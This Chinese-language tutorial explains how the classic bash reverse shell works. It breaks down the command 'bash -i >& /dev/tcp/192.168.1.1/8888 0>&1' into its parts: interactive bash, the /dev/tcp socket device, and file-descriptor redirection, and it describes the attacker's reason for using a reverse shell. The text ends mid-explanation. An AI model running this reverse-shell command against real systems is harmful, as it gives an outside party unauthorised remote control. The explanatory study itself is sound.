分析bash反弹shell的原理
反弹shell的原理分析
bash -i >& /dev/tcp/192.168.1.1/8888 0>&1
代码片段:可切换语言,无法单独设置文字格式
这个经典反弹shell,我们从原理,命令拆解来解析。
原理
反弹shell是由攻击者无法连接受害者而进行一种操作,可能目标是局域网内主机,或者开启防火墙的某些策略等情况,我们就可以让受害者主动向攻击者发起连接,被控端发起请求到控制端某端口,并将其命令行的输入输出转到控制端,从而实现交互。
命令拆解
bash
Linux中一般默认的shell是bash,它功能几乎可以涵盖shell所具有的功能,所以一般的shell脚本都会指定它为执行路径
常用的shell有 ash、bash、dash,不同的shell都有自己的特点以及用途
bash -i 打开一个交互shell,如果shell含有-i参数,即为交互式。交互式的意思是可以和用户进行交互,输入命令,回显给用户就是一个交互的过程,而执行一个shell脚本往往是非交互的
如何确认目前的shell是不是交互的,通过echo $-,查看返回的值可以知道。如果带有i参数即为交互式
他们之间就是有无I参数的确别。至于其他参数标示什么意思,就不在本次文章范围内。
/dev目录
dev是设备(device)的英文缩写。这里主要存放与设备有关的文件。
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还有/dev/udp/
/dev/tcp/192.168.1.1/8888
代码片段:可切换语言,无法单独设置文字格式
所以上述命令就是和192.168.1.1:8888建立TCP连接
文件标识符
Linux 系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件。
所有执行I/O操作的系统调用都会通过文件描述符,即文件描述符可控制输入输出(输入/输出重定向)
标准输入(stdin):代码为0,使用< 或<< ,默认设备键盘 标准输出(stdout):代码为1.使用>或>> 默认设备显示器 标准错误输出(stderr):代码为2,使用2>或2>>,默认设备显示器
代码片段:可切换语言,无法单独设置文字格式
shell输入\输出重定向
使用1>将输出结果写入到指定文件中,文件不存在则创建文件,文件如果存在会覆盖原文件内容
省略不写则默认就是1,同理,输入重定向0< ,省略不写则默认就是 0
